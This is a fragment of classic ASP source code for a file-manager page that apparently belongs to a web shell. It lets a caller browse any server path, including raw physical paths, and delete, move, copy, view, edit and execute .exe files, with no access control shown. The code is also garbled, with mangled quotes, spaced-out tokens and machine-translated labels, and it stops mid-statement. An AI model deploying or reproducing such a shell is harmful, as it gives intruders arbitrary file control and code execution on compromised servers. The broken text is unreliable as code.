<%
Urlpath= "http://" &request.servervariables ("SERVER_NAME")
Dim Cpath,lpath
Set Fsobrowse=createobject ("Scripting.FileSystemObject")
If Request ("path") = "" Then
Lpath= "/"
Else
Lpath=request ("path") & "/"
End If
If Request ("attrib") = "true" Then
Cpath=lpath
Attrib= "true"
Else
Cpath=server.mappath (Lpath)
Attrib= ""
End If
Sub GetFolder ()
Dim thefolder,thesubfolders
If Fsobrowse.folderexists (CPath) Then
Set Thefolder=fsobrowse.getfolder (CPath)
Set thesubfolders=thefolder.subfolders
Response.Write "<a href= ' list.asp?path=" &request ("OldPath") & "&attrib=" &attrib& ">< Font color= ' #FF8000 ' > </font>↑<font color= ' ff2222 ' > Back to parent directory </font></a><br> '
Response.Write "<table border= ' 0 ' width= ' 100% ' cellpadding= ' 0 ' >"
For each x in Thesubfolders
Response.Write "<tr><td width= ' 50% ' ><a href= ' list.asp?path= ' &lpath&x.Name&" & Oldpath= "&request" ("Path") & "&attrib=" &attrib& "' >└<font color= ' #FF8000 ' > </font > "&x.Name&" </a> </td>
Response.Write "<td><a href=# onclick=javascript:window.open (' Delete.asp?spath=" & Server.URLEncode ( Lpath) & "& Server.URLEncode (x.name) &" &aim=floders ', ' Hyne_love_achye ', ' Toolbar=no,scrollbars=yes , resizable=yes,width=600,height=400 '); ><font color= ' #FF8000 ' >x</font> delete </a></td> '
Response.Write "<td><a href=# onclick=javascript:window.open (' Move.asp?spath=" & Server.URLEncode ( Lpath) & "& Server.URLEncode (x.name) &" &aim=floders ', ' Hyne_love_achye ', ' Toolbar=no,scrollbars=yes , resizable=yes,width=600,height=400 '); ><font color= ' #FF8000 ' >x</font> change </a></td>
Response.Write "<td><a href=# onclick=javascript:window.open (' Copy.asp?spath=" & Server.URLEncode ( Lpath) & "& Server.URLEncode (x.name) &" &aim=floders ', ' Hyne_love_achye ', ' Toolbar=no,scrollbars=yes , resizable=yes,width=600,height=400 '); ><font color= ' #FF8000 ' >x</font> copy </a><br></ Td></tr> "
Next
Response.Write "</table>"
End If
End Sub
Sub GetFile ()
Dim thefiles
If Fsobrowse.folderexists (CPath) Then
Set Thefolder=fsobrowse.getfolder (CPath)
Set Thefiles=thefolder.files
Response.Write "<table border= ' 0 ' width= ' 100% ' cellpadding= ' 0 ' >"
For each x in Thefiles
If Request ("attrib") = "true" Then
showstring= "<strong>" &x.Name& "</strong>"
Else
showstring= "<a href=# onclick=javascript:window.open ('" &urlpath&lpath&server.urlencode (x.Name) & "', ' Hyne_love_achye ', ' toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400 ');><strong>" &x.Name& "</strong></a>"
End If
If Right (x.name,4) = ". exe" or right (x.name,4) = ". EXE "Then
showstring=showstring& "</td><td width= ' 10% ' ><a href=# (' Fileop.asp?filename= "&lpath&x.name&" &action=execute ', ' Hyne_love_achye ', ' toolbar=no,scrollbars= Yes,resizable=yes,width=600,height=400 '); ><font color=red> Execution </font></a></td> "
Else
showstring=showstring& "</td><td width= ' 10% ' ></td>"
End If
Response.Write "<tr><td width= ' 20% ' ><font color= ' #FF8000 ' >-</font> ' &showstring&" <TD width= ' 15% ' align= ' right ' > ' &x.size& ' byte </td><td width= ' 45% ' ><a href= ' # ' title= ' & "Type:" &X.TYPE&CHR & "Properties:" &X.ATTRIBUTES&CHR & "Time:" &x.DateLastModified& "' ><font color= ' #FF8000 '?" </font> Properties </a><a href=# onclick=javascript:window.open (' view.asp?path= ' &server.urlencode (lpath ) &server.urlencode (x.name) & "&attrib=" &attrib& ", ' Hyne_love_achye ', ' toolbar=no,scrollbars= Yes,resizable=yes,width=600,height=400 '); ><font color= ' #FF8000 ' >∝</font> view </a><a href=# Onclick=javascript:window.open (' edit.asp?path= "&server.urlencode (Lpath) &server.urlencode (x.Name) &" &attrib= "&attrib&", ' Hyne_love_achye ', ' toolbar=no,scrollbars=yes,resizable=yes,width=600,height= ><font color= ' #FF8000 ' >∝</font> edit </a><a href=#Onclick=javascript:window.open (' edit.asp?path= "&server.urlencode (Lpath) &server.urlencode (x.Name) &" &op=del&attrib=&